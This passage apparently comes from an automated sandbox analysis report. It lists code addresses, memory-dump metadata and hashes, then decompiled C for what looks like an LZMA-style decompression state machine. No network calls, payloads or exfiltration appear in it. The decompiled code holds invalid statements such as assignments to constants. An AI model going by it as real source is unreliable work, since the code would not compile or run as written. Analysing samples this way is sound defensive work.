                                                                                    0x00406b2e
                                                                                    0x00406b31
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00406b33
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406c95
                                                                                    0x00406c95
                                                                                    0x00406c99
                                                                                    0x0040715f
                                                                                    0x0040715f
                                                                                    0x00000000
                                                                                    0x0040715f
                                                                                    0x00406c9f
                                                                                    0x00406c9f
                                                                                    0x00406ca2
                                                                                    0x00406ca5
                                                                                    0x00406ca8
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406caa
                                                                                    0x00406cad
                                                                                    0x00406cb0
                                                                                    0x00406cb3
                                                                                    0x00406cb6
                                                                                    0x00406cb9
                                                                                    0x00406cbc
                                                                                    0x00406cbd
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cbf
                                                                                    0x00406cc2
                                                                                    0x00406cc5
                                                                                    0x00406cc8
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406ccb
                                                                                    0x00406cce
                                                                                    0x00406cd0
                                                                                    0x00406cd0
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f12
                                                                                    0x00406f16
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x00406f1c
                                                                                    0x00406f1c
                                                                                    0x00406f1f
                                                                                    0x00406f22
                                                                                    0x00406f25
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f27
                                                                                    0x00406f2a
                                                                                    0x00406f2d
                                                                                    0x00406f30
                                                                                    0x00406f33
                                                                                    0x00406f36
                                                                                    0x00406f39
                                                                                    0x00406f3a
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3c
                                                                                    0x00406f3f
                                                                                    0x00406f42
                                                                                    0x00406f45
                                                                                    0x00406f48
                                                                                    0x00406f4b
                                                                                    0x00406f4f
                                                                                    0x00406f51
                                                                                    0x00406f54
                                                                                    0x00000000
                                                                                    0x00406f56
                                                                                    0x00406f56
                                                                                    0x00406cd3
                                                                                    0x00406cd3
                                                                                    0x00000000
                                                                                    0x00406cd3
                                                                                    0x00406f54
                                                                                    0x00407189
                                                                                    0x00407189
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x004067b8
                                                                                    0x004071c0
                                                                                    0x004071c0
                                                                                    0x00000000
                                                                                    0x004071c0
                                                                                    0x0040700d
                                                                                    0x0040708d
                                                                                    0x00407056

                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID:
                                                                                    • String ID:
                                                                                    • API String ID:
                                                                                    • Opcode ID: 8cc43af0f3dc7360b650843029f4fb37e98cf8e44e9d3f0eb3b9d5ec05d02dde
                                                                                    • Instruction ID: 56db4e79aaf5e8580c905796a14d264bc3fb4972df64c765fca97ee639103a5c
                                                                                    • Opcode Fuzzy Hash: 8cc43af0f3dc7360b650843029f4fb37e98cf8e44e9d3f0eb3b9d5ec05d02dde
                                                                                    • Instruction Fuzzy Hash: 87A15531E04229CBDF28CFA8C8446ADBBB1FF44305F14812ED856BB281C7786A86DF45
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 98%
                                                                                    			E00406F5B() {
                                                                                    				void _t533;
                                                                                    				signed int _t534;
                                                                                    				signed int _t535;
                                                                                    				signed int* _t605;
                                                                                    				void* _t612;
                                                                                    
                                                                                    				L0:
                                                                                    				while(1) {
                                                                                    					L0:
                                                                                    					if( *(_t612 - 0x40) != 0) {
                                                                                    						 *(_t612 - 0x84) = 0x13;
                                                                                    						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
                                                                                    						goto L132;
                                                                                    					} else {
                                                                                    						__eax =  *(__ebp - 0x4c);
                                                                                    						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                    						__ecx =  *(__ebp - 0x58);
                                                                                    						__eax =  *(__ebp - 0x4c) << 4;
                                                                                    						__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                    						L130:
                                                                                    						 *(__ebp - 0x58) = __eax;
                                                                                    						 *(__ebp - 0x40) = 3;
                                                                                    						L144:
                                                                                    						 *(__ebp - 0x7c) = 0x14;
                                                                                    						L145:
                                                                                    						__eax =  *(__ebp - 0x40);
                                                                                    						 *(__ebp - 0x50) = 1;
                                                                                    						 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                    						L149:
                                                                                    						if( *(__ebp - 0x48) <= 0) {
                                                                                    							__ecx =  *(__ebp - 0x40);
                                                                                    							__ebx =  *(__ebp - 0x50);
                                                                                    							0 = 1;
                                                                                    							__eax = 1 << __cl;
                                                                                    							__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                    							__eax =  *(__ebp - 0x7c);
                                                                                    							 *(__ebp - 0x44) = __ebx;
                                                                                    							while(1) {
                                                                                    								L140:
                                                                                    								 *(_t612 - 0x88) = _t533;
                                                                                    								while(1) {
                                                                                    									L1:
                                                                                    									_t534 =  *(_t612 - 0x88);
                                                                                    									if(_t534 > 0x1c) {
                                                                                    										break;
                                                                                    									}
                                                                                    									switch( *((intOrPtr*)(_t534 * 4 +  &M004071C8))) {
                                                                                    										case 0:
                                                                                    											if( *(_t612 - 0x6c) == 0) {
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                    											_t534 =  *( *(_t612 - 0x70));
                                                                                    											if(_t534 > 0xe1) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											_t538 = _t534 & 0x000000ff;
                                                                                    											_push(0x2d);
                                                                                    											asm("cdq");
                                                                                    											_pop(_t569);
                                                                                    											_push(9);
                                                                                    											_pop(_t570);
                                                                                    											_t608 = _t538 / _t569;
                                                                                    											_t540 = _t538 % _t569 & 0x000000ff;
                                                                                    											asm("cdq");
                                                                                    											_t603 = _t540 % _t570 & 0x000000ff;
                                                                                    											 *(_t612 - 0x3c) = _t603;
                                                                                    											 *(_t612 - 0x1c) = (1 << _t608) - 1;
                                                                                    											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
                                                                                    											_t611 = (0x300 << _t603 + _t608) + 0x736;
                                                                                    											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
                                                                                    												L10:
                                                                                    												if(_t611 == 0) {
                                                                                    													L12:
                                                                                    													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
                                                                                    													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                                                    													goto L15;
                                                                                    												} else {
                                                                                    													goto L11;
                                                                                    												}
                                                                                    												do {
                                                                                    													L11:
                                                                                    													_t611 = _t611 - 1;
                                                                                    													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
                                                                                    												} while (_t611 != 0);
                                                                                    												goto L12;
                                                                                    											}
                                                                                    											if( *(_t612 - 4) != 0) {
                                                                                    												GlobalFree( *(_t612 - 4));
                                                                                    											}
                                                                                    											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                    											 *(_t612 - 4) = _t534;
                                                                                    											if(_t534 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
                                                                                    												goto L10;
                                                                                    											}
                                                                                    										case 1:
                                                                                    											L13:
                                                                                    											__eflags =  *(_t612 - 0x6c);
                                                                                    											if( *(_t612 - 0x6c) == 0) {
                                                                                    												 *(_t612 - 0x88) = 1;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                    											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
                                                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                    											_t45 = _t612 - 0x48;
                                                                                    											 *_t45 =  *(_t612 - 0x48) + 1;
                                                                                    											__eflags =  *_t45;
                                                                                    											L15:
                                                                                    											if( *(_t612 - 0x48) < 4) {
                                                                                    												goto L13;
                                                                                    											}
                                                                                    											_t546 =  *(_t612 - 0x40);
                                                                                    											if(_t546 ==  *(_t612 - 0x74)) {
                                                                                    												L20:
                                                                                    												 *(_t612 - 0x48) = 5;
                                                                                    												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
                                                                                    												goto L23;
                                                                                    											}
                                                                                    											 *(_t612 - 0x74) = _t546;
                                                                                    											if( *(_t612 - 8) != 0) {
                                                                                    												GlobalFree( *(_t612 - 8));
                                                                                    											}
                                                                                    											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
                                                                                    											 *(_t612 - 8) = _t534;
                                                                                    											if(_t534 == 0) {
                                                                                    												goto L171;
                                                                                    											} else {
                                                                                    												goto L20;
                                                                                    											}
                                                                                    										case 2:
                                                                                    											L24:
                                                                                    											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
                                                                                    											 *(_t612 - 0x84) = 6;
                                                                                    											 *(_t612 - 0x4c) = _t553;
                                                                                    											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
                                                                                    											goto L132;
                                                                                    										case 3:
                                                                                    											L21:
                                                                                    											__eflags =  *(_t612 - 0x6c);
                                                                                    											if( *(_t612 - 0x6c) == 0) {
                                                                                    												 *(_t612 - 0x88) = 3;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                    											_t67 = _t612 - 0x70;
                                                                                    											 *_t67 =  &(( *(_t612 - 0x70))[1]);
                                                                                    											__eflags =  *_t67;
                                                                                    											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                                                    											L23:
                                                                                    											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
                                                                                    											if( *(_t612 - 0x48) != 0) {
                                                                                    												goto L21;
                                                                                    											}
                                                                                    											goto L24;
                                                                                    										case 4:
                                                                                    											L133:
                                                                                    											_t531 =  *_t605;
                                                                                    											_t588 = _t531 & 0x0000ffff;
                                                                                    											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
                                                                                    											if( *(_t612 - 0xc) >= _t564) {
                                                                                    												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
                                                                                    												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
                                                                                    												 *(_t612 - 0x40) = 1;
                                                                                    												_t532 = _t531 - (_t531 >> 5);
                                                                                    												__eflags = _t532;
                                                                                    												 *_t605 = _t532;
                                                                                    											} else {
                                                                                    												 *(_t612 - 0x10) = _t564;
                                                                                    												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                                                    												 *_t605 = (0x800 - _t588 >> 5) + _t531;
                                                                                    											}
                                                                                    											if( *(_t612 - 0x10) >= 0x1000000) {
                                                                                    												goto L139;
                                                                                    											} else {
                                                                                    												goto L137;
                                                                                    											}
                                                                                    										case 5:
                                                                                    											L137:
                                                                                    											if( *(_t612 - 0x6c) == 0) {
                                                                                    												 *(_t612 - 0x88) = 5;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
                                                                                    											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                    											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                    											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
                                                                                    											L139:
                                                                                    											_t533 =  *(_t612 - 0x84);
                                                                                    											goto L140;
                                                                                    										case 6:
                                                                                    											__edx = 0;
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x34) = 1;
                                                                                    												 *(__ebp - 0x84) = 7;
                                                                                    												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                    												goto L132;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                    											__esi =  *(__ebp - 0x60);
                                                                                    											__cl = 8;
                                                                                    											__cl = 8 -  *(__ebp - 0x3c);
                                                                                    											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                    											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                    											__ecx =  *(__ebp - 0x3c);
                                                                                    											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                    											__ecx =  *(__ebp - 4);
                                                                                    											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                    											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                    											__eflags =  *(__ebp - 0x38) - 4;
                                                                                    											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                    											if( *(__ebp - 0x38) >= 4) {
                                                                                    												__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                    												if( *(__ebp - 0x38) >= 0xa) {
                                                                                    													_t98 = __ebp - 0x38;
                                                                                    													 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                    													__eflags =  *_t98;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                    												}
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x38) = 0;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x34) - __edx;
                                                                                    											if( *(__ebp - 0x34) == __edx) {
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												goto L61;
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x14);
                                                                                    												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                    												__eflags = __eax -  *(__ebp - 0x74);
                                                                                    												if(__eax >=  *(__ebp - 0x74)) {
                                                                                    													__eax = __eax +  *(__ebp - 0x74);
                                                                                    													__eflags = __eax;
                                                                                    												}
                                                                                    												__ecx =  *(__ebp - 8);
                                                                                    												__ebx = 0;
                                                                                    												__ebx = 1;
                                                                                    												__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                    												goto L41;
                                                                                    											}
                                                                                    										case 7:
                                                                                    											__eflags =  *(__ebp - 0x40) - 1;
                                                                                    											if( *(__ebp - 0x40) != 1) {
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    												 *(__ebp - 0x80) = 0x16;
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x28);
                                                                                    												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    												__eax =  *(__ebp - 0x2c);
                                                                                    												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    												__eax = 0;
                                                                                    												__eflags =  *(__ebp - 0x38) - 7;
                                                                                    												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                    												__al = __al & 0x000000fd;
                                                                                    												__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                    												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__eax =  *(__ebp - 4) + 0x664;
                                                                                    												__eflags = __eax;
                                                                                    												 *(__ebp - 0x58) = __eax;
                                                                                    												goto L69;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											__ecx =  *(__ebp - 0x38);
                                                                                    											 *(__ebp - 0x84) = 8;
                                                                                    											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                    											goto L132;
                                                                                    										case 8:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 0xa;
                                                                                    												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x38);
                                                                                    												__ecx =  *(__ebp - 4);
                                                                                    												__eax =  *(__ebp - 0x38) + 0xf;
                                                                                    												 *(__ebp - 0x84) = 9;
                                                                                    												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                    												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                    											}
                                                                                    											goto L132;
                                                                                    										case 9:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												goto L90;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x60);
                                                                                    											if( *(__ebp - 0x60) == 0) {
                                                                                    												goto L171;
                                                                                    											}
                                                                                    											__eax = 0;
                                                                                    											__eflags =  *(__ebp - 0x38) - 7;
                                                                                    											_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                    											__eflags = _t259;
                                                                                    											0 | _t259 = _t259 + _t259 + 9;
                                                                                    											 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                    											goto L76;
                                                                                    										case 0xa:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__eax =  *(__ebp - 4);
                                                                                    												__ecx =  *(__ebp - 0x38);
                                                                                    												 *(__ebp - 0x84) = 0xb;
                                                                                    												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                    												goto L132;
                                                                                    											}
                                                                                    											__eax =  *(__ebp - 0x28);
                                                                                    											goto L89;
                                                                                    										case 0xb:
                                                                                    											__eflags =  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x40) != 0) {
                                                                                    												__ecx =  *(__ebp - 0x24);
                                                                                    												__eax =  *(__ebp - 0x20);
                                                                                    												 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                    											} else {
                                                                                    												__eax =  *(__ebp - 0x24);
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x28);
                                                                                    											 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                    											L89:
                                                                                    											__ecx =  *(__ebp - 0x2c);
                                                                                    											 *(__ebp - 0x2c) = __eax;
                                                                                    											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                    											L90:
                                                                                    											__eax =  *(__ebp - 4);
                                                                                    											 *(__ebp - 0x80) = 0x15;
                                                                                    											__eax =  *(__ebp - 4) + 0xa68;
                                                                                    											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                    											goto L69;
                                                                                    										case 0xc:
                                                                                    											L100:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xc;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t335 = __ebp - 0x70;
                                                                                    											 *_t335 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t335;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											__eax =  *(__ebp - 0x2c);
                                                                                    											goto L102;
                                                                                    										case 0xd:
                                                                                    											L37:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xd;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t122 = __ebp - 0x70;
                                                                                    											 *_t122 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t122;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											L39:
                                                                                    											__eax =  *(__ebp - 0x40);
                                                                                    											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                                                                    											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                    												goto L48;
                                                                                    											}
                                                                                    											__eflags = __ebx - 0x100;
                                                                                    											if(__ebx >= 0x100) {
                                                                                    												goto L54;
                                                                                    											}
                                                                                    											L41:
                                                                                    											__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                    											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                    											__ecx =  *(__ebp - 0x58);
                                                                                    											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                    											 *(__ebp - 0x48) = __eax;
                                                                                    											__eax = __eax + 1;
                                                                                    											__eax = __eax << 8;
                                                                                    											__eax = __eax + __ebx;
                                                                                    											__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                    											__ax =  *__esi;
                                                                                    											 *(__ebp - 0x54) = __esi;
                                                                                    											__edx = __ax & 0x0000ffff;
                                                                                    											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                    											__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    											if( *(__ebp - 0xc) >= __ecx) {
                                                                                    												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    												__cx = __ax;
                                                                                    												 *(__ebp - 0x40) = 1;
                                                                                    												__cx = __ax >> 5;
                                                                                    												__eflags = __eax;
                                                                                    												__ebx = __ebx + __ebx + 1;
                                                                                    												 *__esi = __ax;
                                                                                    											} else {
                                                                                    												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                    												 *(__ebp - 0x10) = __ecx;
                                                                                    												0x800 = 0x800 - __edx;
                                                                                    												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                    												__ebx = __ebx + __ebx;
                                                                                    												 *__esi = __cx;
                                                                                    											}
                                                                                    											__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    											 *(__ebp - 0x44) = __ebx;
                                                                                    											if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    												goto L39;
                                                                                    											} else {
                                                                                    												goto L37;
                                                                                    											}
                                                                                    										case 0xe:
                                                                                    											L46:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xe;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t156 = __ebp - 0x70;
                                                                                    											 *_t156 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t156;
                                                                                    											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											while(1) {
                                                                                    												L48:
                                                                                    												__eflags = __ebx - 0x100;
                                                                                    												if(__ebx >= 0x100) {
                                                                                    													break;
                                                                                    												}
                                                                                    												__eax =  *(__ebp - 0x58);
                                                                                    												__edx = __ebx + __ebx;
                                                                                    												__ecx =  *(__ebp - 0x10);
                                                                                    												__esi = __edx + __eax;
                                                                                    												__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                    												__ax =  *__esi;
                                                                                    												 *(__ebp - 0x54) = __esi;
                                                                                    												__edi = __ax & 0x0000ffff;
                                                                                    												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                    												__eflags =  *(__ebp - 0xc) - __ecx;
                                                                                    												if( *(__ebp - 0xc) >= __ecx) {
                                                                                    													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                    													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                    													__cx = __ax;
                                                                                    													_t170 = __edx + 1; // 0x1
                                                                                    													__ebx = _t170;
                                                                                    													__cx = __ax >> 5;
                                                                                    													__eflags = __eax;
                                                                                    													 *__esi = __ax;
                                                                                    												} else {
                                                                                    													 *(__ebp - 0x10) = __ecx;
                                                                                    													0x800 = 0x800 - __edi;
                                                                                    													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                    													__ebx = __ebx + __ebx;
                                                                                    													 *__esi = __cx;
                                                                                    												}
                                                                                    												__eflags =  *(__ebp - 0x10) - 0x1000000;
                                                                                    												 *(__ebp - 0x44) = __ebx;
                                                                                    												if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                    													continue;
                                                                                    												} else {
                                                                                    													goto L46;
                                                                                    												}
                                                                                    											}
                                                                                    											L54:
                                                                                    											_t173 = __ebp - 0x34;
                                                                                    											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
                                                                                    											__eflags =  *_t173;
                                                                                    											goto L55;
                                                                                    										case 0xf:
                                                                                    											L58:
                                                                                    											__eflags =  *(__ebp - 0x6c);
                                                                                    											if( *(__ebp - 0x6c) == 0) {
                                                                                    												 *(__ebp - 0x88) = 0xf;
                                                                                    												goto L170;
                                                                                    											}
                                                                                    											__ecx =  *(__ebp - 0x70);
                                                                                    											__eax =  *(__ebp - 0xc);
                                                                                    											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                    											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                    											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                    											_t203 = __ebp - 0x70;
                                                                                    											 *_t203 =  *(__ebp - 0x70) + 1;
                                                                                    											__eflags =  *_t203;
